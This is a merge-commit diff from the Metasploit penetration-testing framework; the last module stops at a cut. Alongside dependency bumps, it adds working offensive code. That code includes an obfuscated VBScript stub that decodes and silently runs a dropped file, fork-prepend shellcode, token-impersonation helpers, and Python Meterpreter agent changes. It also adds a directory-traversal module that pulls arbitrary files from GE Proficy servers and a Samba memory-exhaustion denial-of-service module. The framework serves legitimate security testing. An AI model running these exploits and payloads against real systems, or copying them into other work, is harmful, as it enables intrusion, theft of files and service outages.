Merge branch 'master' into spike/exe_generation
commit
e80cda4ace
5
Gemfile
5
Gemfile
|
@ -41,7 +41,7 @@ group :development, :test do
|
|||
# 'FactoryGirl.' in factory definitions syntax.
|
||||
gem 'factory_girl', '>= 4.1.0'
|
||||
# running documentation generation tasks and rspec tasks
|
||||
gem 'rake'
|
||||
gem 'rake', '>= 10.0.0'
|
||||
end
|
||||
|
||||
group :test do
|
||||
|
@ -51,11 +51,10 @@ group :test do
|
|||
gem 'database_cleaner'
|
||||
# testing framework
|
||||
gem 'rspec', '>= 2.12'
|
||||
# add matchers from shoulda, such as query_the_database, which is useful for
|
||||
# testing that the Msf::DBManager activation is respected.
|
||||
gem 'shoulda-matchers'
|
||||
# code coverage for tests
|
||||
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
|
||||
# see: https://github.com/colszowka/simplecov/issues/127 (hopefully fixed in 0.8.0)
|
||||
gem 'simplecov', '0.5.4', :require => false
|
||||
# Manipulate Time.now in specs
|
||||
gem 'timecop'
|
||||
|
|
62
Gemfile.lock
62
Gemfile.lock
|
@ -1,62 +1,58 @@
|
|||
GEM
|
||||
remote: http://rubygems.org/
|
||||
specs:
|
||||
activemodel (3.2.13)
|
||||
activesupport (= 3.2.13)
|
||||
activemodel (3.2.14)
|
||||
activesupport (= 3.2.14)
|
||||
builder (~> 3.0.0)
|
||||
activerecord (3.2.13)
|
||||
activemodel (= 3.2.13)
|
||||
activesupport (= 3.2.13)
|
||||
activerecord (3.2.14)
|
||||
activemodel (= 3.2.14)
|
||||
activesupport (= 3.2.14)
|
||||
arel (~> 3.0.2)
|
||||
tzinfo (~> 0.3.29)
|
||||
activesupport (3.2.13)
|
||||
i18n (= 0.6.1)
|
||||
activesupport (3.2.14)
|
||||
i18n (~> 0.6, >= 0.6.4)
|
||||
multi_json (~> 1.0)
|
||||
arel (3.0.2)
|
||||
bourne (1.4.0)
|
||||
mocha (~> 0.13.2)
|
||||
builder (3.0.4)
|
||||
database_cleaner (0.9.1)
|
||||
diff-lcs (1.2.2)
|
||||
database_cleaner (1.1.1)
|
||||
diff-lcs (1.2.4)
|
||||
factory_girl (4.2.0)
|
||||
activesupport (>= 3.0.0)
|
||||
i18n (0.6.1)
|
||||
json (1.7.7)
|
||||
metaclass (0.0.1)
|
||||
i18n (0.6.5)
|
||||
json (1.8.0)
|
||||
metasploit_data_models (0.16.6)
|
||||
activerecord (>= 3.2.13)
|
||||
activesupport
|
||||
pg
|
||||
mocha (0.13.3)
|
||||
metaclass (~> 0.0.1)
|
||||
msgpack (0.5.4)
|
||||
mini_portile (0.5.1)
|
||||
msgpack (0.5.5)
|
||||
multi_json (1.0.4)
|
||||
network_interface (0.0.1)
|
||||
nokogiri (1.5.9)
|
||||
nokogiri (1.6.0)
|
||||
mini_portile (~> 0.5.0)
|
||||
packetfu (1.1.8)
|
||||
pcaprub (0.11.3)
|
||||
pg (0.15.1)
|
||||
rake (10.0.4)
|
||||
redcarpet (2.2.2)
|
||||
pg (0.16.0)
|
||||
rake (10.1.0)
|
||||
redcarpet (3.0.0)
|
||||
robots (0.10.1)
|
||||
rspec (2.13.0)
|
||||
rspec-core (~> 2.13.0)
|
||||
rspec-expectations (~> 2.13.0)
|
||||
rspec-mocks (~> 2.13.0)
|
||||
rspec-core (2.13.1)
|
||||
rspec-expectations (2.13.0)
|
||||
rspec (2.14.1)
|
||||
rspec-core (~> 2.14.0)
|
||||
rspec-expectations (~> 2.14.0)
|
||||
rspec-mocks (~> 2.14.0)
|
||||
rspec-core (2.14.5)
|
||||
rspec-expectations (2.14.2)
|
||||
diff-lcs (>= 1.1.3, < 2.0)
|
||||
rspec-mocks (2.13.0)
|
||||
shoulda-matchers (1.5.2)
|
||||
rspec-mocks (2.14.3)
|
||||
shoulda-matchers (2.3.0)
|
||||
activesupport (>= 3.0.0)
|
||||
bourne (~> 1.3)
|
||||
simplecov (0.5.4)
|
||||
multi_json (~> 1.0.3)
|
||||
simplecov-html (~> 0.5.3)
|
||||
simplecov-html (0.5.3)
|
||||
timecop (0.6.1)
|
||||
timecop (0.6.3)
|
||||
tzinfo (0.3.37)
|
||||
yard (0.8.5.2)
|
||||
yard (0.8.7)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
@ -74,7 +70,7 @@ DEPENDENCIES
|
|||
packetfu (= 1.1.8)
|
||||
pcaprub
|
||||
pg (>= 0.11)
|
||||
rake
|
||||
rake (>= 10.0.0)
|
||||
redcarpet
|
||||
robots
|
||||
rspec (>= 2.12)
|
||||
|
|
4
HACKING
4
HACKING
|
@ -9,8 +9,8 @@ Code Style
|
|||
In order to maintain consistency and readability, we ask that you
|
||||
adhere to the following style guidelines:
|
||||
|
||||
- Hard tabs, not spaces
|
||||
- Try to keep your lines under 100 columns (assuming four-space tabs)
|
||||
- Standard Ruby two-space soft tabs, not hard tabs.
|
||||
- Try to keep your lines under 100 columns (assuming two-space tabs)
|
||||
- do; end instead of {} for a block
|
||||
- Always use str[0,1] instead of str[0]
|
||||
(This avoids a known ruby 1.8/1.9 incompatibility.)
|
||||
|
|
|
@ -0,0 +1,49 @@
|
|||
echo Dim encodedFile, decodedFile, scriptingFS, scriptShell, emptyString, tempString, Base64Chars, tempDir >>decode_stub
|
||||
echo encodedFile = Chr(92)+CHRENCFILE >>decode_stub
|
||||
echo decodedFile = Chr(92)+CHRDECFILE >>decode_stub
|
||||
echo scriptingFS = Chr(83)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(105)+Chr(110)+Chr(103)+Chr(46)+Chr(70)+Chr(105)+Chr(108)+Chr(101)+Chr(83)+Chr(121)+Chr(115)+Chr(116)+Chr(101)+Chr(109)+Chr(79)+Chr(98)+Chr(106)+Chr(101)+Chr(99)+Chr(116) >>decode_stub
|
||||
echo scriptShell = Chr(87)+Chr(115)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(46)+Chr(83)+Chr(104)+Chr(101)+Chr(108)+Chr(108) >>decode_stub
|
||||
echo emptyString = Chr(84)+Chr(104)+Chr(101)+Chr(32)+Chr(102)+Chr(105)+Chr(108)+Chr(101)+Chr(32)+Chr(105)+Chr(115)+Chr(32)+Chr(101)+Chr(109)+Chr(112)+Chr(116)+Chr(121)+Chr(46)>>decode_stub
|
||||
echo tempString = Chr(37)+Chr(84)+Chr(69)+Chr(77)+Chr(80)+Chr(37) >>decode_stub
|
||||
echo Base64Chars = Chr(65)+Chr(66)+Chr(67)+Chr(68)+Chr(69)+Chr(70)+Chr(71)+Chr(72)+Chr(73)+Chr(74)+Chr(75)+Chr(76)+Chr(77)+Chr(78)+Chr(79)+Chr(80)+Chr(81)+Chr(82)+Chr(83)+Chr(84)+Chr(85)+Chr(86)+Chr(87)+Chr(88)+Chr(89)+Chr(90)+Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+Chr(103)+Chr(104)+Chr(105)+Chr(106)+Chr(107)+Chr(108)+Chr(109)+Chr(110)+Chr(111)+Chr(112)+Chr(113)+Chr(114)+Chr(115)+Chr(116)+Chr(117)+Chr(118)+Chr(119)+Chr(120)+Chr(121)+Chr(122)+Chr(48)+Chr(49)+Chr(50)+Chr(51)+Chr(52)+Chr(53)+Chr(54)+Chr(55)+Chr(56)+Chr(57)+Chr(43)+Chr(47) >>decode_stub
|
||||
echo Set wshShell = CreateObject(scriptShell) >>decode_stub
|
||||
echo tempDir = wshShell.ExpandEnvironmentStrings(tempString) >>decode_stub
|
||||
echo Set fs = CreateObject(scriptingFS) >>decode_stub
|
||||
echo Set file = fs.GetFile(tempDir+encodedFile) >>decode_stub
|
||||
echo If file.Size Then >>decode_stub
|
||||
echo Set fd = fs.OpenTextFile(tempDir+encodedFile, 1) >>decode_stub
|
||||
echo data = fd.ReadAll >>decode_stub
|
||||
echo data = Replace(data, Chr(32)+vbCrLf, nil) >>decode_stub
|
||||
echo data = Replace(data, vbCrLf, nil) >>decode_stub
|
||||
echo data = base64_decode(data) >>decode_stub
|
||||
echo fd.Close >>decode_stub
|
||||
echo Set ofs = CreateObject(scriptingFS).OpenTextFile(tempDir+decodedFile, 2, True) >>decode_stub
|
||||
echo ofs.Write data >>decode_stub
|
||||
echo ofs.close >>decode_stub
|
||||
echo wshShell.run tempDir+decodedFile, 0, false >>decode_stub
|
||||
echo Else >>decode_stub
|
||||
echo Wscript.Echo emptyString >>decode_stub
|
||||
echo End If >>decode_stub
|
||||
echo Function base64_decode(byVal strIn) >>decode_stub
|
||||
echo Dim w1, w2, w3, w4, n, strOut >>decode_stub
|
||||
echo For n = 1 To Len(strIn) Step 4 >>decode_stub
|
||||
echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub
|
||||
echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub
|
||||
echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub
|
||||
echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub
|
||||
echo If Not w2 Then _ >>decode_stub
|
||||
echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub
|
||||
echo If Not w3 Then _ >>decode_stub
|
||||
echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub
|
||||
echo If Not w4 Then _ >>decode_stub
|
||||
echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub
|
||||
echo Next >>decode_stub
|
||||
echo base64_decode = strOut >>decode_stub
|
||||
echo End Function >>decode_stub
|
||||
echo Function mimedecode(byVal strIn) >>decode_stub
|
||||
echo If Len(strIn) = 0 Then >>decode_stub
|
||||
echo mimedecode = -1 : Exit Function >>decode_stub
|
||||
echo Else >>decode_stub
|
||||
echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub
|
||||
echo End If >>decode_stub
|
||||
echo End Function >>decode_stub
|
|
@ -580,20 +580,28 @@ def stdapi_fs_delete_file(request, response):
|
|||
@meterpreter.register_function
|
||||
def stdapi_fs_file_expand_path(request, response):
|
||||
path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
if path_tlv == '%COMSPEC%':
|
||||
if platform.system() == 'Windows':
|
||||
result = 'cmd.exe'
|
||||
else:
|
||||
result = '/bin/sh'
|
||||
elif path_tlv in ['%TEMP%', '%TMP%'] and platform.system() != 'Windows':
|
||||
if has_windll:
|
||||
path_out = (ctypes.c_char * 4096)()
|
||||
path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(path_tlv, ctypes.byref(path_out), ctypes.sizeof(path_out))
|
||||
result = ''.join(path_out)[:path_out_len]
|
||||
elif path_tlv == '%COMSPEC%':
|
||||
result = '/bin/sh'
|
||||
elif path_tlv in ['%TEMP%', '%TMP%']:
|
||||
result = '/tmp'
|
||||
else:
|
||||
result = os.getenv(path_tlv)
|
||||
result = os.getenv(path_tlv, path_tlv)
|
||||
if not result:
|
||||
return ERROR_FAILURE, response
|
||||
response += tlv_pack(TLV_TYPE_FILE_PATH, result)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_fs_file_move(request, response):
|
||||
oldname = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
|
||||
newname = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
os.rename(oldname, newname)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_fs_getwd(request, response):
|
||||
response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, os.getcwd())
|
||||
|
@ -622,7 +630,7 @@ def stdapi_fs_md5(request, response):
|
|||
m = hashlib.md5()
|
||||
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
m.update(open(path, 'rb').read())
|
||||
response += tlv_pack(TLV_TYPE_FILE_NAME, m.hexdigest())
|
||||
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
|
@ -669,7 +677,7 @@ def stdapi_fs_sha1(request, response):
|
|||
m = hashlib.sha1()
|
||||
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
m.update(open(path, 'rb').read())
|
||||
response += tlv_pack(TLV_TYPE_FILE_NAME, m.hexdigest())
|
||||
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
|
|
|
@ -145,8 +145,9 @@ class STDProcessBuffer(threading.Thread):
|
|||
self.data_lock.acquire()
|
||||
self.data += byte
|
||||
self.data_lock.release()
|
||||
data = self.std.read()
|
||||
self.data_lock.acquire()
|
||||
self.data += self.std.read()
|
||||
self.data += data
|
||||
self.data_lock.release()
|
||||
|
||||
def is_read_ready(self):
|
||||
|
@ -208,7 +209,7 @@ class PythonMeterpreter(object):
|
|||
|
||||
def run(self):
|
||||
while self.running:
|
||||
if len(select.select([self.socket], [], [], 0)[0]):
|
||||
if len(select.select([self.socket], [], [], 0.5)[0]):
|
||||
request = self.socket.recv(8)
|
||||
if len(request) != 8:
|
||||
break
|
||||
|
@ -391,13 +392,17 @@ class PythonMeterpreter(object):
|
|||
reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID)
|
||||
resp += tlv_pack(reqid_tlv)
|
||||
|
||||
if method_tlv['value'] in self.extension_functions:
|
||||
handler = self.extension_functions[method_tlv['value']]
|
||||
handler_name = method_tlv['value']
|
||||
if handler_name in self.extension_functions:
|
||||
handler = self.extension_functions[handler_name]
|
||||
try:
|
||||
#print("[*] running method {0}".format(handler_name))
|
||||
result, resp = handler(request, resp)
|
||||
except Exception, err:
|
||||
#print("[-] method {0} resulted in an error".format(handler_name))
|
||||
result = ERROR_FAILURE
|
||||
else:
|
||||
#print("[-] method {0} was requested but does not exist".format(handler_name))
|
||||
result = ERROR_FAILURE
|
||||
resp += tlv_pack(TLV_TYPE_RESULT, result)
|
||||
resp = struct.pack('>I', len(resp) + 4) + resp
|
||||
|
|
|
@ -93,8 +93,6 @@ module Auxiliary::AuthBrute
|
|||
next if @@credentials_skipped[fq_user]
|
||||
next if @@credentials_tried[fq_user] == p
|
||||
|
||||
datastore['USERNAME'] = u.to_s
|
||||
datastore['PASSWORD'] = p.to_s
|
||||
ret = block.call(u, p)
|
||||
|
||||
case ret
|
||||
|
|
|
@ -128,10 +128,10 @@ module Auxiliary::Login
|
|||
false
|
||||
end
|
||||
|
||||
def password_prompt?
|
||||
def password_prompt?(username=nil)
|
||||
return true if(@recvd =~ @password_regex)
|
||||
if datastore['USERNAME']
|
||||
return true if( !(datastore['USERNAME'].empty?) and @recvd =~ /#{datastore['USERNAME']}'s/)
|
||||
if username
|
||||
return true if( !(username.empty?) and @recvd =~ /#{username}'s/)
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
|
|
@ -20,10 +20,16 @@ module Exploit::FileDropper
|
|||
# @return [void]
|
||||
#
|
||||
def on_new_session(session)
|
||||
super
|
||||
|
||||
if session.type == "meterpreter"
|
||||
session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
|
||||
end
|
||||
|
||||
if not @dropped_files or @dropped_files.empty?
|
||||
return true
|
||||
end
|
||||
|
||||
@dropped_files.delete_if do |file|
|
||||
win_file = file.gsub("/", "\\\\")
|
||||
if session.type == "meterpreter"
|
||||
|
@ -58,8 +64,6 @@ module Exploit::FileDropper
|
|||
true
|
||||
end
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -19,6 +19,13 @@ module Msf::Payload::Linux
|
|||
|
||||
register_advanced_options(
|
||||
[
|
||||
Msf::OptBool.new('PrependFork',
|
||||
[
|
||||
false,
|
||||
"Prepend a stub that executes: if (fork()) { exit(0); }",
|
||||
"false"
|
||||
]
|
||||
),
|
||||
Msf::OptBool.new('PrependSetresuid',
|
||||
[
|
||||
false,
|
||||
|
@ -97,6 +104,17 @@ module Msf::Payload::Linux
|
|||
|
||||
# Prepend
|
||||
|
||||
if (datastore['PrependFork'])
|
||||
pre << "\x6a\x02" +# pushb $0x2 #
|
||||
"\x58" +# popl %eax #
|
||||
"\xcd\x80" +# int $0x80 ; fork #
|
||||
"\x85\xc0" +# test %eax,%eax #
|
||||
"\x74\x06" +# jz 0xf #
|
||||
"\x31\xc0" +# xor %eax,%eax #
|
||||
"\xb0\x01" +# movb $0x1,%al ; exit #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetresuid'])
|
||||
# setresuid(0, 0, 0)
|
||||
pre << "\x31\xc9" +# xorl %ecx,%ecx #
|
||||
|
@ -197,10 +215,8 @@ module Msf::Payload::Linux
|
|||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# Handle all Power/CBEA code here
|
||||
if (test_arch.include?([ ARCH_PPC, ARCH_PPC64, ARCH_CBEA, ARCH_CBEA64 ]))
|
||||
elsif (test_arch.include?([ ARCH_PPC, ARCH_PPC64, ARCH_CBEA, ARCH_CBEA64 ]))
|
||||
|
||||
# Prepend
|
||||
|
||||
|
@ -277,9 +293,21 @@ module Msf::Payload::Linux
|
|||
"\x38\x1f\xfe\x02" +# addi r0,r31,-510 #
|
||||
"\x44\xff\xff\x02" # sc #
|
||||
end
|
||||
end
|
||||
|
||||
if (test_arch.include?(ARCH_X86_64))
|
||||
elsif (test_arch.include?(ARCH_X86_64))
|
||||
|
||||
if (datastore['PrependFork'])
|
||||
# if (fork()) { exit(0); }
|
||||
pre << "\x6a\x39" # push 57 ; __NR_fork #
|
||||
pre << "\x58" # pop rax #
|
||||
pre << "\x0f\x05" # syscall #
|
||||
pre << "\x48\x85\xc0" # test rax,rax #
|
||||
pre << "\x74\x08" # jz 0x08 #
|
||||
pre << "\x48\x31\xff" # xor rdi,rdi #
|
||||
pre << "\x6a\x3c" # push 60 ; __NR_exit #
|
||||
pre << "\x58" # pop rax #
|
||||
pre << "\x0f\x05" # syscall #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetresuid'])
|
||||
# setresuid(0, 0, 0)
|
||||
|
@ -389,8 +417,8 @@ module Msf::Payload::Linux
|
|||
# Append exit(0)
|
||||
if (datastore['AppendExit'])
|
||||
app << "\x48\x31\xff" # xor rdi,rdi #
|
||||
pre << "\x6a\x3c" # push 0x53 #
|
||||
pre << "\x58" # pop rax #
|
||||
app << "\x6a\x3c" # push 0x3c #
|
||||
app << "\x58" # pop rax #
|
||||
app << "\x0f\x05" # syscall #
|
||||
end
|
||||
end
|
||||
|
|
|
@ -177,6 +177,71 @@ module Accounts
|
|||
:integrity_label
|
||||
][enum_value - 1]
|
||||
end
|
||||
|
||||
# Gets an impersonation token from the primary token.
|
||||
#
|
||||
# @return [Fixnum] the impersonate token handle identifier if success, nil if
|
||||
# fails
|
||||
def get_imperstoken
|
||||
adv = session.railgun.advapi32
|
||||
tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | "
|
||||
tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS"
|
||||
tok_all << " | TOKEN_ADJUST_DEFAULT"
|
||||
|
||||
pid = session.sys.process.open.pid
|
||||
pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
|
||||
pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token
|
||||
it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token
|
||||
if it["return"] #if it fails return 0 for error handling
|
||||
return it["DuplicateTokenHandle"]
|
||||
else
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
# Gets the permissions granted from the Security Descriptor of a directory
|
||||
# to an access token.
|
||||
#
|
||||
# @param [String] dir the directory path
|
||||
# @param [Fixnum] token the access token
|
||||
# @return [String, nil] a String describing the permissions or nil
|
||||
def check_dir_perms(dir, token)
|
||||
adv = session.railgun.advapi32
|
||||
si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION"
|
||||
result = ""
|
||||
|
||||
#define generic mapping structure
|
||||
gen_map = [0,0,0,0]
|
||||
gen_map = gen_map.pack("L")
|
||||
buffer_size = 500
|
||||
|
||||
#get Security Descriptor for the directory
|
||||
f = adv.GetFileSecurityA(dir, si, buffer_size, buffer_size, 4)
|
||||
if (f['return'] and f["lpnLengthNeeded"] <= buffer_size)
|
||||
sd = f["pSecurityDescriptor"]
|
||||
elsif (f['GetLastError'] == 122) # ERROR_INSUFFICIENT_BUFFER
|
||||
f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4)
|
||||
elsif (f['GetLastError'] == 2)
|
||||
vprint_error("The system cannot find the file specified: #{dir}")
|
||||
return nil
|
||||
else
|
||||
vprint_error("Unknown error - GetLastError #{f['GetLastError']}: #{dir}")
|
||||
return nil
|
||||
end
|
||||
|
||||
#check for write access, called once to get buffer size
|
||||
a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8)
|
||||
len = a["PrivilegeSetLength"]
|
||||
|
||||
r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8)
|
||||
if !r["return"] then return nil end
|
||||
if r["GrantedAccess"] > 0 then result << "R" end
|
||||
|
||||
w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8)
|
||||
if !w["return"] then return nil end
|
||||
if w["GrantedAccess"] > 0 then result << "W" end
|
||||
end
|
||||
|
||||
end # Accounts
|
||||
end # Windows
|
||||
end # Post
|
||||
|
|
|
@ -0,0 +1,145 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'uri'
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'GE Proficy Cimplicity WebView substitute.bcl Directory Traversal',
|
||||
'Description' => %q{
|
||||
This module abuses a directory traversal in GE Proficy Cimplicity, specifically on the
|
||||
gefebt.exe component used by the WebView, in order to retrieve arbitrary files with SYSTEM
|
||||
privileges. This module has been tested successfully on GE Proficy Cimplicity 7.5.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Unknown', # Vulnerability discovery
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2013-0653' ],
|
||||
[ 'OSVDB', '89490' ],
|
||||
[ 'BID', '57505' ],
|
||||
[ 'URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-13-022-02' ]
|
||||
],
|
||||
'DisclosureDate' => 'Jan 22 2013'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80),
|
||||
OptString.new('TARGETURI',[true, 'Path to CimWeb', '/CimWeb']),
|
||||
OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']),
|
||||
# By default gefebt.exe installed on C:\Program Files\GE Fanuc\Proficy CIMPLICITY\WebPages\CimWeb
|
||||
OptInt.new('DEPTH', [true, 'Traversal depth', 5])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def normalize_uri(*strs)
|
||||
new_str = strs * "/"
|
||||
|
||||
new_str = new_str.gsub!("//", "/") while new_str.index("//")
|
||||
|
||||
# Makes sure there's a starting slash
|
||||
unless new_str[0,1] == '/'
|
||||
new_str = '/' + new_str
|
||||
end
|
||||
|
||||
new_str
|
||||
end
|
||||
|
||||
def target_uri
|
||||
begin
|
||||
# In case TARGETURI is empty, at least we default to '/'
|
||||
u = datastore['TARGETURI']
|
||||
u = "/" if u.nil? or u.empty?
|
||||
URI(u)
|
||||
rescue ::URI::InvalidURIError
|
||||
print_error "Invalid URI: #{datastore['TARGETURI'].inspect}"
|
||||
raise Msf::OptionValidateError.new(['TARGETURI'])
|
||||
end
|
||||
end
|
||||
|
||||
def my_basename(filename)
|
||||
return ::File.basename(filename.gsub(/\\/, "/"))
|
||||
end
|
||||
|
||||
def is_proficy?
|
||||
connect
|
||||
req = "GET #{normalize_uri(target_uri.path, "index.html")} HTTP/1.0\r\n\r\n"
|
||||
sock.put(req)
|
||||
res = sock.get_once
|
||||
disconnect
|
||||
|
||||
if res and res =~ /gefebt\.exe/
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
# We can't use the http client msf mixin because the Proficy Web server
|
||||
# return a malformed HTTP response with the file contents, there aren't
|
||||
# two new lines (but one) between the HTTP headers and the body content.
|
||||
def read_file(file)
|
||||
travs = ""
|
||||
travs << "../" * datastore['DEPTH']
|
||||
travs << file
|
||||
|
||||
print_status("#{@peer} - Retrieving file contents...")
|
||||
|
||||
connect
|
||||
req = "GET #{normalize_uri(target_uri.path, "gefebt.exe")}?substitute.bcl+FILE=#{travs} HTTP/1.0\r\n\r\n"
|
||||
sock.put(req)
|
||||
res = sock.get_once
|
||||
disconnect
|
||||
|
||||
if res and res =~ /HTTP\/1\.0 200 OK/
|
||||
return res
|
||||
else
|
||||
return nil
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def run
|
||||
@peer = "#{rhost}:#{rport}"
|
||||
|
||||
print_status("#{@peer} - Checking if it's a GE Proficy Application...")
|
||||
if is_proficy?
|
||||
print_good("#{@peer} - Check successful")
|
||||
else
|
||||
print_error("#{@peer} - GE proficy not found")
|
||||
return
|
||||
end
|
||||
|
||||
contents = read_file(datastore['FILEPATH'])
|
||||
if contents.nil?
|
||||
print_error("#{@peer} - File not downloaded")
|
||||
return
|
||||
end
|
||||
|
||||
file_name = my_basename(datastore['FILEPATH'])
|
||||
path = store_loot(
|
||||
'ge.proficy.traversal',
|
||||
'application/octet-stream',
|
||||
rhost,
|
||||
contents,
|
||||
file_name
|
||||
)
|
||||
print_good("#{rhost}:#{rport} - File saved in: #{path}")
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,128 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/struct2'
|
||||
require 'rex/proto/smb'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::DCERPC
|
||||
include Msf::Exploit::Remote::SMB::Authenticated
|
||||
|
||||
TRANS2_PARAM = Rex::Struct2::CStructTemplate.new(
|
||||
[ 'uint16v', 'FID', 0 ],
|
||||
[ 'uint16v', 'InfoLevel', 0 ],
|
||||
[ 'uint16v', 'Reserved', 0 ],
|
||||
)
|
||||
|
||||
FEA_LIST = Rex::Struct2::CStructTemplate.new(
|
||||
[ 'uint32v', 'NextOffset', 0 ],
|
||||
[ 'uint8', 'Flags', 0 ],
|
||||
[ 'uint8', 'NameLen', 0 ],
|
||||
[ 'uint16v', 'ValueLen', 0 ],
|
||||
[ 'string', 'Name', nil, '' ],
|
||||
[ 'string', 'Value', nil, '' ]
|
||||
)
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Samba read_nttrans_ea_list Integer Overflow',
|
||||
'Description' => %q{
|
||||
Integer overflow in the read_nttrans_ea_list function in nttrans.c in
|
||||
smbd in Samba 3.x before 3.5.22, 3.6.x before 3.6.17, and 4.x before
|
||||
4.0.8 allows remote attackers to cause a denial of service (memory
|
||||
consumption) via a malformed packet. Important Note: in order to work
|
||||
the "ea support" option on the target share must be enabled.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Jeremy Allison', # Vulnerability discovery
|
||||
'dz_lnly' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['OSVDB', '95969'],
|
||||
['BID', '61597'],
|
||||
['EDB', '27778'],
|
||||
['CVE', '2013-4124']
|
||||
],
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('SMBShare', [true, 'Target share', '']),
|
||||
OptInt.new('MsgLen', [true, 'How soon a memory get exhausted depends on the length of that attribute', 1500]),
|
||||
OptInt.new('Tries', [true, 'Number of DOS tries', 40]),
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def get_fid
|
||||
ok = self.simple.client.create("/")
|
||||
return ok['Payload'].v['FileID']
|
||||
end
|
||||
|
||||
def mk_items_payload
|
||||
item1 = FEA_LIST.make_struct
|
||||
item1.v['ValueLen'] = datastore['MsgLen']
|
||||
item1.v['Value'] = "\x00" * datastore['MsgLen']
|
||||
item1.v['Name'] = Rex::Text.rand_text_alpha(5 + rand(3)) + "\x00"
|
||||
item1.v['NameLen'] = item1.v['Name'].length
|
||||
item2 = FEA_LIST.make_struct
|
||||
item2.v['ValueLen'] = datastore['MsgLen']
|
||||
item2.v['Value'] = "\x00" * datastore['MsgLen']
|
||||
item2.v['Name'] = Rex::Text.rand_text_alpha(5 + rand(3)) + "\x00"
|
||||
item2.v['NameLen'] = item1.v['Name'].length
|
||||
item3 = FEA_LIST.make_struct # Some padding
|
||||
item3.v['ValueLen'] = 4
|
||||
